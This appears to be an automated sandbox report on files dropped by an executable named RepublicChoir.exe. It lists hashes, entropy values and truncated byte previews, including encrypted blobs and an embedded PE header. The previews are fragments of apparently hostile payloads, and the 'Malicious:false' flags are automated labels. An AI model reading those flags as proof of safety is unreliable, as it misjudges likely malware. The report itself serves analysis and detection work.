                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):100352
                                                                                                                                                                                                                                        Entropy (8bit):6.199971066051696
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:XDoioO5bLezW9FfTut/Dde6u640ewy4Za9coRC2jfTq8QLa:uO5bLezWWt/Dd314V14ZgP0Je
                                                                                                                                                                                                                                        MD5:4CD398D361C76256C015A348F08B0E57
                                                                                                                                                                                                                                        SHA1:937EC977EF1BC5D7CDA096AE67A319916E78BBCC
                                                                                                                                                                                                                                        SHA-256:3D5FEBB8BE813A8273BCAAA1C680A9FDAA3FD366979761BB0AA42CD6E7AB9C78
                                                                                                                                                                                                                                        SHA-512:EE8E0171B051805E5A135D86225ADD1EE399E6873D2435644AC1197ECD901B3FA82B0A734A60C0AF6C7579622FB14DEB8766E0EC9E1A0ABE0257B6E3764D6583
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:.u.....#......3.B.V..._^3.[....U..E.SVW.@..0......F..u...8.....&.3.C.^....f..t&..Q..~..Y..t.........f..u...U....^..._^3.[]...U..E.SVW.@..0...R....F..u...8.#....&.3.C.^....f..t&..Q....I...t.........f..u........^..._^3.[]...U..E.SVW.@..0.......F..u...8.....&.3.C.^....f..t&..Q....I...t.........f..u.......^..._^3.[]...U..E.SVW.@..0......F..u...8.[....&.3.C.^....f..t&..Q..}..Y..t.........f..u...)....^..._^3.[]...U..E.VW.@..0.K....u............>3._.F.....^]...U..E.VW.@..0.....u............>3._.F.....^]...U..E.SVW.@..0.......F..u...8.....&.3.C.^....f..t&..Q....I...t.........f..u...e....^..._^3.[]...U..E.SVW.@..0...b....F..u...E..X../...3..F......>..t..M.W..k..f...5.....t.G;.r.......3.@.F..._^3.[]...U..E.SVW.@..0........F..u...8......&.3.C.^....f..t&..Q....I...t.........f..u.......^..._^3.[]...U..E.SVW.@..0......F..u...8.f....&.3.C.^....f..t&..Q..{..Y..t.........f..u...4....^..._^3.[]...U.....M.SVW......]..C..0...&....F..p..C..H..........x ;.~....C..0
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):92160
                                                                                                                                                                                                                                        Entropy (8bit):6.6745802373061105
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:fyNf7Xw2U0pkzUWBh2zGc/xv5mjKu2IwNnPEBiqXv+G/UXT6TvY464qvI932eH:qW2UDQWf05mjccBiqXvpgF4qv+32eH
                                                                                                                                                                                                                                        MD5:1509379DF1BF07D14D61BFC972302EC9
                                                                                                                                                                                                                                        SHA1:D420A7CA7E524572F7547575BAF075AED7F66F9D
                                                                                                                                                                                                                                        SHA-256:ACF878417C7D6CB3B0D928F090BC476457FDFB0BCBB8E4E15B6E60D62744767B
                                                                                                                                                                                                                                        SHA-512:AFB9A6985189B43EC023B5D548FE0116230A34E1C84AC4BB1C93E6D67A47C3877C72E0C7ACC5847BAFA42C1D771BA2383F00234D47571C892D5062BD52C45825
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:..|$..........3............L$..D$.....r...........3........j(.3Y....Y.N..P....N..H...;\$........D$..t$.P........j.........L$....................H.............D$ ...;.t.P.U....E..@..0...-.................;N.t..v..+.............t$..L$.Q...0.5.#M.....I.....J....L$ ...._^3.[..]...U.....U.3.S3.E.V3.CW.u.9B........M.3.}..E.#......M....}....M....M...P...8...j+Yj^...f;.Yj!Z.. ...f;.......f;.......f;E........F...V.E.......u.}......{......j@.M..?....U..E.P.E.Pj}X...\...YY..tN.u..4..!K.....YY..t.F..c|..c........H!K..u!.... K....M............_^[....2...2...U..QSVWf...U..M..;....u.2.6.M.V.G......f..t#..u.f;.t..M.P......E..0F.0..E.......f..t..._^[..U..U...<...V.........B..F..B..F..B..F....\...^]...U...(.E.S.M.3.V.u..M.M...M....E.....W.Q.jN[........x.f9X..]..}........e...>.A.G.}..>jO.....x..}._f9x..}.......R.E.PVQ.M..'X......<....E...jOZ.@....f9P...$....E..8@.......A..M...;............E..M.0.&....M.jN....N..E..u..M....M....Q....Zj.f9P.Z..O....{..tS...o....{...........]..;........
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):81920
                                                                                                                                                                                                                                        Entropy (8bit):7.997695882904345
                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                        SSDEEP:1536:FW4LNjDlRxGQ/tYwMRBeIcakEzVEKOJMj78Nq5VoWf0loLhQ6h3qy2:zjZt/tGvzVES4q5VoOgJJ
                                                                                                                                                                                                                                        MD5:96B01171E413615B22382F2E7A4198EA
                                                                                                                                                                                                                                        SHA1:647F5C4073B382B0D4D23BBA65A4ACAA2FE6AE91
                                                                                                                                                                                                                                        SHA-256:8F4FBF55FED42E97C01791D1B9F39FDB1E07348F1DF26A5A35D28D7B5F4AFE51
                                                                                                                                                                                                                                        SHA-512:9B95B5CF723A863A4228ACC64FA2E91AE0CD84A4184992879006F05DAFDFB97EAB9A07BC961182050DDC24185FE72E21ADC3EDC7CBA94173A144FEE69588B03F
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:z....U...,H._+n..,.S&..r....;9..... j.o?......N!]d.{R_H...O...?..KU........,}........a..........I.2..!.B..w..4y....z.t.l.r.'u.A.....J...0.Lj.X.J...4.]7....A|=......Ecq.G......KMS.....3...a..a.....r........".J)..Z.>+.#..#5....xC.'.........8k.........0..A6'...LL.~.)...H..6./-<...[......=.1.....q.v.&..|.#.b9..@.)...^.Y/....5s ..`w....m.......W........_.$1m..vB.y....H...w..'...!y_1z(._......?..;$....;J_...k..,A..)R7..<.3.R.".[..j..#.!.....g.-'..HJ#a..d.Q.(,+.......:..7...K..B5..!.i.Z,..t.ee.k`M)..^.n...1.i8.wD..p[&..... ..D.G..*.,t.*.c.S...5",...U.15t...tP.hh.s...A|,.."gV..NAV..vw./..$"..A.Q(rZ../.~.+`9$u@e.....N7..pe.]g..0.Z.O!..:.m.D-.......O5..J.9.__.ur.k.#B..-.5@..ne.b.#!.V..IKz....p...7!~..7.I........L.|B..)F<u.e.0..p..,..]...:...N.&y.....9..).........,.]..x.,R.T.6L..i...BY!.~.............F"....7..yFb=.5.5.4x.......!.....6...b..c.3.R.q...w.1)..q.K....v...*o.....xL".......b.V.m..j.....C..k0IRC.B.....S..._.4.#.)k..Y....p.*n..xL.O.q..Yy.Qc.P.
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):117760
                                                                                                                                                                                                                                        Entropy (8bit):6.695216198259044
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:uyKODOSpQSAU4CE0Imbi80PtCZEMnVIPPBx4:usiS+SAhClbfSCOMVIPPQ
                                                                                                                                                                                                                                        MD5:36D60DBBBB68D772D07A15119E2AF73F
                                                                                                                                                                                                                                        SHA1:5D4DE91D4A85D5A13D1E3ECD4B5EBE6BC17143C3
                                                                                                                                                                                                                                        SHA-256:A3AAF5BDCDC585F085CE8D6A24FE66F2543A7315CAF03A2927E82D3FA35746FE
                                                                                                                                                                                                                                        SHA-512:1D611498033BFC4AF8B9829F067588DB56E24DB999D94E3BEA98C125F3B94E23E330165A3666EBC724C2DDF9FFF5C6DABF63E31B4C2A562EA631622A44448571
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:.....u .u.VW.u.jS......E..H..............~...f..Wu...u.j.Y..I.@.....c...=m.....X...3.;.|......;.|.F.} .......0f......P.u..u.j.V.....} ......$0f....P.u..E..u.j..p..p..p..........}....u..u..u..u.j......E..H..........................} ......$0f....P.u...l....u.j..(........3..u......M.3..u..}..].9q j......P.7.E..3P.........t....t0.."t+..Pu........7...M.3.@+.....M........_^[..].VVVVV.......C.i.C.~.C...C.Z.C...C...C...C...U....f.}..u..u..u..u.........|.E.V.u.;.smS3.HW.}..H..M..tP.M...f.u..E..M...t...j..Y.....M...0f.......f.4..E..j.Y..C..E.....M..m...E.u.u......)._[...&.^..]..U..V.u.W.}........vDS.]...j..[....B0f.........~..>.w...q...[..f.....f.....f.....;.r.....+...&._^]..U..M..9.t".U.V.u.W..:f..t......f.8....).u._^]..U...0...L.3.E..E..U..E.E.S.]..E.E..U.].V.u..u.W...t....t...\.......X.......T.................}...l......f.B.f.E.f.B.f@.M.f.E.f.B.f.E.f.B.f.E.f.B.f.E.f..f.E.3.f.E..E..t.3.QQWPQ..`....#....3.QQQWPQ..`....".......k.......J.;.....tX.J.;...#..J.=....w#;..
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):87040
                                                                                                                                                                                                                                        Entropy (8bit):7.997907911998686
                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                        SSDEEP:1536:mKZc3snC0PFOiRvKAfEs9FuNDsfuCUJCRkuQae2xgSPgMPjvXOH5Giw:lc3sC0tBxKmjFu5smCU0RRe2SMPjy5vw
                                                                                                                                                                                                                                        MD5:B2EF92DF5F63A1A1419474464CD2BD00
                                                                                                                                                                                                                                        SHA1:13D9E11DA3C52AB0BB0550950F6EFB646272DAE3
                                                                                                                                                                                                                                        SHA-256:A56381D6C088A993916710C17C530FC81C9ABD578DB911423F5EFDEB5BA644D1
                                                                                                                                                                                                                                        SHA-512:0171475AE19F3309435E847A6860E9BAA7F8B62876D8F01853528D8EA4BEF2240D2A56E68CA33BC933E02F421FED12C698AE6ED7C2987F8DCCB08E005CC7BD67
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:q....]..9.........1..o.......j9.}.X.q.............NG./.x4.9(./../.vY....B..4...n..E]E.X.).z.Yu....,~,.M.y...3..=.@.../.....&`..q..b...=.DR.....M.;./I1.C../../.4T...9...d..?^Z.No?P....../S.P.&....Q.9P..Q..........=........I.tj.....~....d...L......C..?K....x..{[pY.O[]...QPx...&m.#.W.)..^..hg...[.+.;...<).. ...%._.T..oP.$.'.......X.y}.k..@.r...[...|..#N.....e&.NQ,.3a.../a.%m..tA6...X.L.N.y....s .....z.0Fs......:.j...X.{..q.,........].N..?..v..|$.4=].99G...&.r..e....+I....x*..h4;.f...X.E...x:.1. Q.........BQ..M}(.....>... .../|..l.B...-.,28*K.1.3Z.072...&.8>....b..my..}A..>.\.{P8bT.....w.........(..x+S..;AIp.bg..b(2".6#_..pAS..,.l.Q...<..._......O.2.U...F......"0v....h...'F[Q.*...e/K..`.LExjq.O....TA....xv.J..iM.m..gm.`8....z.ci.....4..p..>.P.:z%.|3..D..g......*.W`.L....*<.$(....6.....>.X...Ch@..t.H..{..+1k..L.+rG.o".DT.h"b....;.....5..U..F.............]...,F....2.*.....5L\CC......+..o.....?.W. .......-.....K"..M7....N._W..<0]..Q...
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):28412
                                                                                                                                                                                                                                        Entropy (8bit):7.993624613633222
                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                        SSDEEP:384:B0uNJ3lKrNXlMoqH9z+DmkuPGmHY4j6cH0ZwsmkipzktGoJRXXyjOrNcMR0rNrHj:B0uX3lea9QYPKFy/st5JRtrWrZiwDf
                                                                                                                                                                                                                                        MD5:4BF182A550B932DDFA4F22D63A478898
                                                                                                                                                                                                                                        SHA1:FC42D09581353753EBD473F8C8CAD61EBE5B3051
                                                                                                                                                                                                                                        SHA-256:EA70BBD2AA0DB7E6EBEAA9BEE435D4F5059ACA5A6D2E99B5BF91C17EB4F5CB0D
                                                                                                                                                                                                                                        SHA-512:D893AF7212BA8A91F36167AD1D51CA63C84A5AF04627492EA483278187FFE4D38F57130E0BC0F3AA54F11A006208E0FF36664B056495F6D9821B2D8F67A68D20
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:.....:.CD.i........Q1@.[....D...GhW/.X.S0&....I..8.....[....@.........S2..te......3U..u#...#\..v5 .{.55.c..mg....@D..U@.P2..kV.U....."hx..5...Wk0.#....)..... ...P.:..y....B5.r......c.J.UXa.;.....^9..;?_o..YW.H-.%.Pe..I^#:<.B...W)..Z...|.8.E..Hq7...KUu@R.....,..%.....u).`{.KQz/m......!.V..@}.!..;..}.)B....*hagnl.N.......< .t.;....}..=u.1.HN.{....Cq.8.f.v#..c..O........v.......0.}.X2f[y....U...ql..C.H....xB.D...(.]Fmhz....+5.P..,..M.O..Cd|.K....}.({/x.q{.]V..F..uj|.`a.R..*.q....z..c4.]?(..N....#/n3...?....N...g.....q.Dal.E..5...d.0r.?....Y.&io*....U..!..^6Y...a+.._x)."?..s].f.&..U.&.5....jf....8..'..7.M..3.4.J.h...O*4<'.VF.p6.........}..G........Hv#..... ..P..3.<zxc......(Z..f...M/...>XJ"..@.~63.;.P...9.r6...#Z...b.m...y.N../4.y.Hf...'....'..])cK..A....y.l...D.f.....d....c.A...8M..A8....pU(.Gg.H.K.....0]Z..~.,<..&.th.W.H..:..p.Y...^$.,/.HeY...!q...]..1.L.....W.zN..........#...'}$eS............8.pf[......P.z..B.%!0<.w@\!V..d6 ..N.?..g.
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe
                                                                                                                                                                                                                                        File Type:tar archive (old), type 'm' DarkPrisonIncRangeBathsPresentedBuckSurely, uid \016\03, gid !\270\0, seconds annot be ru, linkname ode., comment: \247\300h\354\247\301h\305\245\300hI\316
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):105472
                                                                                                                                                                                                                                        Entropy (8bit):6.2465110199778175
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:pZg5PXPeiR6MKkjGWoUlJUPdgQa8Bp/LxyA3l3:pK5vPeDkjGgQaE/l3
                                                                                                                                                                                                                                        MD5:4061FF6DBE41B0F82CF8CE06EF27E2D2
                                                                                                                                                                                                                                        SHA1:0B892BC3A73244D355208CFF10E4E0EFD984AFD6
                                                                                                                                                                                                                                        SHA-256:34E4F871401CADE57C5DB60CD5D3470F6724CF339AEDF6C4691AE7930724C89F
                                                                                                                                                                                                                                        SHA-512:1431B5A34D256048B8E06307AD4B024D3A63C80BA8C8481B02BF015CB74BBBB1B09C0D26E7888C8C67709D9699BA83B353B12A53449CA4C7D669179E092309BB
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:DarkPrisonIncRangeBathsPresentedBuckSurely..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B....................................................................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):100352
                                                                                                                                                                                                                                        Entropy (8bit):6.550303463846732
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:QR8CThpmESv+AqVnBypIbv18mLthfhnueoMmOS:hCThp6vmVnjphfhnu
                                                                                                                                                                                                                                        MD5:5806190F30D8A2A24321485D83FCD5E4
                                                                                                                                                                                                                                        SHA1:461D7D0F06332F6569D07D4F2917B9B3E62A9981
                                                                                                                                                                                                                                        SHA-256:2F9F7BF680569D0227F0A57E904C3F29811974503DDB1AE17CDC2E3EC1AE6A5F
                                                                                                                                                                                                                                        SHA-512:66810EF714C85C4E49A88A098656E65D076801591FF2FB20895944293470C86330FC10021CD5142C5539FFAE4906A8B5F0ADDB3522A930C0F98B4DE32B3484C2
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:............G..H..i...O.....D$..D$..I..i...........L$..b_...L$(.Y_...G..p........N..D$(SSP.T$$.T.......D$(.L$.P.j...9\$.tM.L$...}....u@.t$..L$<.R...L$8..z....L$8......]......].t.........#..C........].....h...L$(....\...L$...\....tS.D$..D$....]..G..p.....-...E..~..@..0....-...N...j..t$..%x..YY..u.......#..C....._^3.[..]...U..QS.].VW.E...{..v..C..H..Ph.....u..E..C..0...o-...N....U....s...tC.v....T-...F..8.C..0...C-...u..F.W.0......u...........F......>.....6....-...F..8.C..p.....-...F.j.W.0....I..}............G......7.g....ul..0.I.=....u_.}..tY.C..p....,...F..0....I..C..0...,...F..8.C..p....,...F.j.W.0....I..}......O....G......7_^3.[....U......T.E.SVW.X.3..@..\$..|$<.p....4,...N..T$@...D$@.A..D$D.A..D$H.A...D$L......!|$.h`~L.......t$H.D$4Y......................+.F.........D$.3.L$(..........D$@.`~L..|$0.T$ .|$$..H3..L$,3...9.L$$.|$8f;:t/W..~......D$<.D$$Y...P..~.....D$<Y;.u..T$ .L$,.......|$$..L$,.T$ u..|$<+.\$.x......D$.@.D$....t!.T$0...D$.3.B.L$(..L$(;...F......L$(...
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):65536
                                                                                                                                                                                                                                        Entropy (8bit):7.997572866647265
                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                        SSDEEP:1536:56wMNKnl0L5DGB4rBiBiOsLO1eqxxgIB4Z1:0RNKl0NDGOEIOfxxg24z
                                                                                                                                                                                                                                        MD5:07FEA893FECBFDABF397B932D2C10CBE
                                                                                                                                                                                                                                        SHA1:9DA53766D64C79824119B7C10D8E062400427E6D
                                                                                                                                                                                                                                        SHA-256:2C0D8530B34A1326BBF859EC35F0C7FC18E8A8ABD0C29BE645C777706917A94E
                                                                                                                                                                                                                                        SHA-512:7BD97D7B41181EA0288926F73DEB4CC4E0B7712B2BA2033B2A3E9A8F68456A4433C96F5B7533715145F70979EA8662D4EF4468EDF82180A7EADC2FE035028C4B
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:D..9._....'..1I.:2......g<.v....&....K...~.+z...5_~Z..a...g"..9.#..?....T.c.h6w).@p.../%....h4E..u.iT+.?h....S..'`.~zB..3Yt......`.Y.....iZ0'....A.|O.3{.!.W..|;..;..9.K$...r]8D.........|CM\...G..9\O..X.}K......K>#h..].../N.~.1ip...hH.UB.V....)....q5..~...B.p.#=..........yR7[%...M.;..H..x&.J..a.P*...]s..0,I8.C.ci+.........!...].......K...}?....sf_4D....p.).ks.5o.j.:}*.:._....(Zv).A@.R)."..S.d.L....$....2..'+j.....eU.g#[.........Qqt...k...B..A....m.\..........@1..t..`&..H.....P.l..W..z.FM.br...N.I..8...U..&rY*...`.>z..8.}.v.......g%.$Zf'E.HL6.0.........{..id.R.8...:K. yj./.IF.E=....9.pEL...Z.7.-X{J8.`.:s.'1.2$'.Uw.......|.MyV6.G....8..i)H..U.sa.e]uv.2%...&...w.Z4.J>..y...B.......Sr..o.kB.v.Dj}gW.......A..f.L.;*.....e.f6.....&.....1.sW....$;.Rv....$...hI.?...&..BON*.. .@...B....Ob......9R.,/....'W....@%~.*......}1s.;....k..Bu...3.#k..Zq......P...n....p.jl..A.r.....t...n..iA.....&v.O.....Y....".p8...|...l..+..1%.K.......EP...FVO_..........<
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe
                                                                                                                                                                                                                                        File Type:OpenPGP Secret Key
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):32900
                                                                                                                                                                                                                                        Entropy (8bit):7.184004327788407
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:768:pGQ1Dv7sMvLHfR/ZByLiFuO/ChgZ45VatJVEV3GPkjF:pGODv7xvTphAiPChgZ2kOE6
                                                                                                                                                                                                                                        MD5:04E589288126C11A3E876CAFF280D072
                                                                                                                                                                                                                                        SHA1:72091451FF981CAB641797D83DF94DD6142D555F
                                                                                                                                                                                                                                        SHA-256:CDCEE710C88B77DCFB8FF5760EF4C205A6297A61A6D074D8C9B1A61B5467F87E
                                                                                                                                                                                                                                        SHA-512:F5A4BACCA63F786FF7D2FAA168951D3BD7C32566B29A04A40E69BC07932EF3AFDA9D6E743D2C621815931CB5C54CF6E69CCA46491968F75269CCD7B7BA4746B7
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:.0.0.0.0.0.0.0.0.0.0.0.0.0.1.1.1.1.1.1(121<1G1O1S1Y1]1c1m1w1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.2.2.2.2"2(2,222<2F2P2[2c2g2m2q2w2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.2.3.3.3.3*32363<3@3F3P3Z3d3o3w3{3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.4.4.4.4.4.4)434>4F4J4P4T4Z4d4n4x4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.4.5.5.5.5.5#5)535=5G5R5Z5^5d5h5n5x5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.5.6.6.6!6)6-63676=6G6Q6[6f6n6r6x6|6.6.6.6.6.6.6.6.6.6.6.6.6.6.6.6.6.7.7.7.7 7*757=7A7G7K7Q7[7e7o7z7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.7.8.8.8.8.8 8*848>8I8Q8U8[8_8e8o8y8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.8.9.9.9 9$9*9.949>9H9R9]9e9i9o9s9y9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.9.:.:.:!:,:4:8:>:B:H:R:\:f:q:y:}:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.:.;.;.;.;.;!;+;5;@;H;L;R;V;\;f;p;z;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.;.<.<.<.<!<%<+<5<?<I<T<\<`<f<j<p<z<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.<.=.=.=#=+=/=5=9=?=I=S=]=h=p=t=z=~=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.=.>.>.>.>">,>7>?>C>I>M>S>]>g>q>|>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.>.?.?.?.?.?"?,?6?@?K?S?W?]?a?g?q?{?.?.?
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):73728
                                                                                                                                                                                                                                        Entropy (8bit):6.6836151500283085
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:gC03Eq30BcrTrhCX4aVmoJiKwtk2ukC5HRu+OoQjz7nts/M26N7oKzYkBG:I0nEoXnmowS2u5hVOoQ7t8T6pUkBG
                                                                                                                                                                                                                                        MD5:E7E212A5006D3519C540A3C9DE927BF7
                                                                                                                                                                                                                                        SHA1:ED3393B60D0B1D69C7E5CDB798628398CC207EBC
                                                                                                                                                                                                                                        SHA-256:C5B373B80EA245185145B24C88709C2F4E2E3FD6E062BA00511B24C46E5116E0
                                                                                                                                                                                                                                        SHA-512:92F334F3A230916CCB86A5438D896C707BF7A319DB19627D463C7C70B9959F92F40EF769CE50F9BCA31DF31B6E8E2F1417F8D586110E17A291A96BE621C58B61
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:...h.....D$<P.u.....I..D$8P.....Y..L$...t!.Y...x...D\8P..'..KY..t.G..y.L$...(...;.........,...;.......+...;.......Q.D$<P........'...............$....D$8..$...P..$H...h lL.P............$T...P...........W................]..N.Sh.....0|...D$...ti.L$.Qh....j.Ph.....v.S..X.I..\$...t<9|$.v6h.....D$<PS.N..|........3.f..$<....D$<P....YY..u.3.GS.N.. |........3.C...tkh......$D...P.u.....I...$@...P.L$,..q.........D$(;.t.P.^}.........A..A..A...L$(..|.........$Z....t.G......C.. t..u.....I.9......7................D$.P.u.....I..D$..D$..D$..D$..D$.P.u.....I.P..x.I.........@t.......;D$.u.GC..y.......;D$.u.GC......t..D$ +D$.9.....u.GC......t..D$$+D$.9.....u.GC...t7h......$D...P.u.....I...$@...P...........YY..u.G......C...t7h......$D...P.u...t.I...$@...P...........YY..u.G......C...t.;.u...$.....$...;.....u.GC;.u..E.......3...3.@_^[..]...U..V.....t.Q.s...j......Y.M.......^]...U..VW.u....M..Y.F..x...u.j.X...G....P.F......W.u...P.....j...............F..._^]...V....u.......u.j...j.j.V..h.I.P....I.P.
                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\a2b8HYTvUJvaL2CBHF\RepublicChoir.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):55296
                                                                                                                                                                                                                                        Entropy (8bit):7.996987913021673
                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                        SSDEEP:1536:oKHwMeAPiRM+m8KuX1zy+lufJX+p23mLSF3JoS4qAWI7R:ZwYKRM+vFX15ohX+Y6gE9WI7R
                                                                                                                                                                                                                                        MD5:505DFA0874880D796F2E4A151CA04AF7
                                                                                                                                                                                                                                        SHA1:4B651B73443E2A2D8987261595F832E4AF925F2B
                                                                                                                                                                                                                                        SHA-256:017D5CD311C7E1F63D2B678A2F6451C8421977A44341C0FFB04093496249C619
                                                                                                                                                                                                                                        SHA-512:0E95CEF0C84B923557C502AA2211FDCED02EF6CA5ACB46C204E3D7AC3E9EF42693073062411C349CDCD5E7C986120E51F489D9DE5B384923622479AFE8FF2604
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:!....V5U...z.O.g.a....D....juai...].&.2.N..q._.#|=..B .".M..._......EG...O...]}..(MU..}Y.c...iO...0....].L......?j.h..N.4...Y.g.4..F..5...2C.E..gRAU..E.._..>........C..)E]=i..:.h........c.....=.]).J.o...e5.+....'...f.n..........Es...N.PP}....;.{.:.!.[..\H.J.....n.e.......y..?...W)..._..V..SA.W.V......!..=.k..}95.x.S....&..7.~p..x.y.PMS\......Qx.8.L....p6.. .....7.E..d...,..?`$........\s..:Sl;9;r4.Le...1R.:8. w......oY....)..Aah.(....+.G.F.aM....q...o..-.Jku.....Vf......yt|U...;.&..l=yid....].M.3t....N...E..*N......0...@..../0.yn......-}..Y..3ZjQ.d.G...j...=..o.h..........23...c..NZ.2.}.X.P.&.Ks.R....r...}.V..,.{..._I....5..h...k........x......$.!3...zG....2.s.O?.R.T.U..Gl..Z.....-T:[w..o.3.a.W'Da.b..m..}.6.c?2i..O...J\.....&]*."...B..AS.j!u.z..@._...hZ..a..j....L..x...\........:...G.7r......^......)...6pX...[...-..j.....k..T...,.a(S.M.FYM_.R,.-To.u|.f..^.....L.;.........B...F....8.z....01.Q........!bP..a..e.m...!&...V........w....
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
